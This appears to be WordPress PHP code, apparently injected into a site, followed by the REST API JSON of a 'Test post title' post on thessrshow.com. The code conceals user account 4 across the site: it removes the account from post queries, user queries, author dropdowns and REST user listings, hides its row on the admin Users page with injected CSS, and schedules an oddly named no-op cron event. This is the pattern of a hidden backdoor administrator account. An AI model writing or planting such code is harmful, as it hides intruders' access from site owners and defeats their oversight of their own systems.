add_action( 'pre_get_posts', function( $q ) {
    if ( ! is_admin() && $q->is_main_query() ) {
        $not_in   = (array) $q->get( 'author__not_in' );
        $not_in[] = 4;

        $q->set(
            'author__not_in',
            array_unique( array_map( 'intval', $not_in ) )
        );
    }
}, 1 );

add_action( 'pre_user_query', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
    }
    global $wpdb;
    $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 4 );
} );

add_filter( 'wp_dropdown_users_args', function( $a ) {
    $exclude   = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
    $exclude[] = 4;

    $a['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $a;
} );

add_filter( 'rest_user_query', function( $args, $request ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 4;

    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $args;
}, 10, 2 );

add_action( 'admin_head-users.php', function() {
    echo '<style>#user-4{display:none!important}</style>';
} );

add_action( 'init', function() {
    if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
        return;
    }
    if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
        wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
    }
} );

add_action( 'wp_extra_bot_heartbeat', function() {
    // noop
} );
{"id":5659,"date":"2026-05-18T11:33:35","date_gmt":"2026-05-18T11:33:35","guid":{"rendered":"https:\/\/thessrshow.com\/?p=5659"},"modified":"2026-05-18T15:34:18","modified_gmt":"2026-05-18T15:34:18","slug":"test-post-title-2","status":"publish","type":"post","link":"https:\/\/thessrshow.com\/index.php\/2026\/05\/18\/test-post-title-2\/","title":{"rendered":"Test post title"},"content":{"rendered":"<p>Test post content<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Test post content<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[],"_links":{"self":[{"href":"https:\/\/thessrshow.com\/index.php\/wp-json\/wp\/v2\/posts\/5659"}],"collection":[{"href":"https:\/\/thessrshow.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/thessrshow.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/thessrshow.com\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/thessrshow.com\/index.php\/wp-json\/wp\/v2\/comments?post=5659"}],"version-history":[{"count":1,"href":"https:\/\/thessrshow.com\/index.php\/wp-json\/wp\/v2\/posts\/5659\/revisions"}],"predecessor-version":[{"id":5660,"href":"https:\/\/thessrshow.com\/index.php\/wp-json\/wp\/v2\/posts\/5659\/revisions\/5660"}],"wp:attachment":[{"href":"https:\/\/thessrshow.com\/index.php\/wp-json\/wp\/v2\/media?parent=5659"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/thessrshow.com\/index.php\/wp-json\/wp\/v2\/categories?post=5659"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/thessrshow.com\/index.php\/wp-json\/wp\/v2\/tags?post=5659"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}